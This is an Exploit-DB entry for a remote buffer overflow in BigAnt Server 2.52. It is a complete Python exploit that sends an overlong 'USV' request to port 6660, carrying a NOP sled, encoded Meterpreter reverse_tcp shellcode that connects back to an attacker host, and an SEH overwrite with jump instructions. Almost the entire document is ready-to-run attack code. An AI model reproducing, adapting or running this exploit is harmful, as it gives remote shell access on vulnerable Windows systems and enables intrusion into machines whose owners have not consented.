Exploit-DB #10973
Description: BigAnt Server 2.52 - Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2010-01-03
Author: DouBle_Zer0

Exploit:
#!/usr/bin/python

#BigAnt Server 2.52 remote buffer overflow exploit 2
#Author: DouBle_Zer0
#Vulnerability discovered by Lincoln
#a another version of the original exploit (by Lincoln)
#application is little hazy..

import sys,socket

host = sys.argv[1]
buffer= "\x90" * 20

#./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 R | ./msfencode -e x86/alpha_mixed -t c
#size 643 byte
buffer+= ("\x89\xe1\xd9\xce\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
"\x6c\x49\x78\x4c\x49\x47\x70\x43\x30\x47\x70\x45\x30\x4f\x79"
"\x4a\x45\x50\x31\x49\x42\x45\x34\x4e\x6b\x42\x72\x50\x30\x4e"
"\x6b\x50\x52\x44\x4c\x4c\x4b\x51\x42\x47\x64\x4e\x6b\x51\x62"
"\x44\x68\x46\x6f\x4d\x67\x50\x4a\x51\x36\x45\x61\x4b\x4f\x44"
"\x71\x49\x50\x4c\x6c\x45\x6c\x50\x61\x43\x4c\x44\x42\x46\x4c"
"\x51\x30\x4a\x61\x4a\x6f\x44\x4d\x46\x61\x4a\x67\x4b\x52\x4a"
"\x50\x42\x72\x50\x57\x4c\x4b\x42\x72\x44\x50\x4e\x6b\x42\x62"
"\x45\x6c\x47\x71\x48\x50\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49"
"\x50\x50\x74\x50\x4a\x47\x71\x48\x50\x50\x50\x4c\x4b\x43\x78"
"\x46\x78\x4e\x6b\x51\x48\x47\x50\x43\x31\x49\x43\x49\x73\x47"
"\x4c\x51\x59\x4c\x4b\x45\x64\x4c\x4b\x43\x31\x4b\x66\x44\x71"
"\x49\x6f\x50\x31\x4f\x30\x4e\x4c\x49\x51\x48\x4f\x46\x6d\x43"
"\x31\x4a\x67\x44\x78\x49\x70\x51\x65\x4a\x54\x45\x53\x51\x6d"
"\x4a\x58\x45\x6b\x43\x4d\x51\x34\x43\x45\x48\x62\x43\x68\x4e"
"\x6b\x46\x38\x51\x34\x43\x31\x4b\x63\x45\x36\x4e\x6b\x44\x4c"
"\x50\x4b\x4c\x4b\x43\x68\x47\x6c\x46\x61\x4e\x33\x4c\x4b\x44"
"\x44\x4c\x4b\x47\x71\x4a\x70\x4c\x49\x43\x74\x51\x34\x51\x34"
"\x43\x6b\x51\x4b\x50\x61\x42\x79\x51\x4a\x46\x31\x4b\x4f\x49"
"\x70\x46\x38\x43\x6f\x51\x4a\x4e\x6b\x42\x32\x48\x6b\x4d\x56"
"\x43\x6d\x50\x68\x46\x53\x46\x52\x45\x50\x43\x30\x43\x58\x43"
"\x47\x50\x73\x50\x32\x43\x6f\x42\x74\x45\x38\x50\x4c\x43\x47"
"\x46\x46\x47\x77\x49\x6f\x4b\x65\x4c\x78\x4e\x70\x45\x51\x47"
"\x70\x47\x70\x45\x79\x48\x44\x43\x64\x42\x70\x42\x48\x44\x69"
"\x4b\x30\x42\x4b\x47\x70\x4b\x4f\x48\x55\x50\x50\x46\x30\x46"
"\x30\x46\x30\x43\x70\x50\x50\x47\x30\x46\x30\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x49\x70\x4b\x4f\x4b\x65\x4a\x37\x50\x6a\x44"
"\x45\x43\x58\x4f\x30\x4e\x48\x47\x71\x44\x43\x45\x38\x45\x52"
"\x43\x30\x44\x51\x43\x6c\x4e\x69\x49\x76\x50\x6a\x42\x30\x50"
"\x56\x46\x37\x50\x68\x4a\x39\x4d\x75\x44\x34\x50\x61\x4b\x4f"
"\x4b\x65\x4f\x75\x4b\x70\x42\x54\x44\x4c\x4b\x4f\x42\x6e\x47"
"\x78\x44\x35\x4a\x4c\x43\x58\x4a\x50\x48\x35\x4d\x72\x43\x66"
"\x4b\x4f\x4a\x75\x50\x6a\x47\x70\x43\x5a\x45\x54\x46\x36\x43"
"\x67\x42\x48\x44\x42\x49\x49\x4f\x38\x51\x4f\x4b\x4f\x4b\x65"
"\x4e\x6b\x47\x46\x50\x6a\x51\x50\x42\x48\x45\x50\x42\x30\x43"
"\x30\x45\x50\x50\x56\x42\x4a\x45\x50\x42\x48\x51\x48\x4c\x64"
"\x46\x33\x4a\x45\x49\x6f\x4e\x35\x4a\x33\x43\x63\x42\x4a\x45"
"\x50\x46\x36\x43\x63\x50\x57\x50\x68\x44\x42\x48\x59\x4f\x38"
"\x43\x6f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x51\x39\x4f\x36\x4c"
"\x45\x49\x66\x43\x45\x48\x6c\x4b\x73\x44\x4a\x41\x41")
buffer+= "\x90" * 294
buffer+= "\xe9\x4c\xfc\xff\xff"  #near jmp -----> shellcode
buffer+= "\xeb\xf9\x90\x90"      #short jmp ----> near jmp
buffer+= "\x95\x32\x9a\x0f"      #p/p/r(partial overwrite is not possible as far as i know) 
buffer+= "\x41" * 1000           #play
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n")
s.close()